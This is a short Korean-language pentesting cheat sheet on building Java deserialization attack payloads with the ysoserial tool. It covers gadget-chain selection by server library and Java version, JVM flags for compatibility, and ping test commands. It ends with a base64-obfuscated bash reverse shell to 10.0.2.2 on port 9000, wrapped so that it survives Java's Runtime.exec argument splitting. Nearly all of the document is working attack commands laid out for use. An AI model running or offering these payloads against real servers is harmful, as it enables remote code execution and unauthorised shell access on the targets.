ysoserial을 활용한 페이로드 생성

ysoserial 리포: https://github.com/frohoff/ysoserial

기본 페이로드:

java -jar ysoserial.jar [GadgetChain] [Command] > payload.ser
#                           ↑              ↑
#                     어떤 라이브러리    실행할 명령어
#                     체인을 쓸건지
 
java -jar ysoserial-all.jar CommonsCollections6 'ping -c 1 10.10.10.10' > payload.ser

kali의 자바 버전과 호환되지 않을때 다음 옵션을 -jar ysoserial 이전에 추가:

--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED

예시:

java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections4 'ping 10.10.10.10 -c 1' > payload.ser

주의사항:

  1. 가젯체인은 서버 클래스패스에 존재하는 라이브러리를 사용해야함. 그렇지 않으면 ClassNotFoundException 발생.
    • pom.xml 또는 WEB-INF/lib에서 commons-collections 버전 확인
grep -rnE "commons-*" . 2>/dev/null
 
./pom-bak.xml:47:  <artifactId>commons-collections4</artifactId>
  1. 서버의 Java 버전에 따라 페이로드가 불가할 수 있다.
Java 8 이하  → 전체 체인 가능
Java 9~11   → CC1, CC3 거의 불가, CC6 우선
Java 17+    → CC6, CC2, CC4 위주
  1. 커맨드를 생성할 때 Java의 Runtime.getRuntime().exec()가 커맨드를 split하므로 다음과 같이 작성해야 할 수 있다. 참고 : https://blog.spoock.com/2018/11/25/getshell-bypass-exec/
$ echo -n 'bash -c "bash -i >& /dev/tcp/10.0.2.2/9000 0>&1"'|base64 -w0
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIuMi85MDAwIDA+JjEi
 
java -jar ysoserial.jar ... 'bash -c {echo,YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIuMi85MDAwIDA+JjEi}|{base64,-d}|{bash,-i}'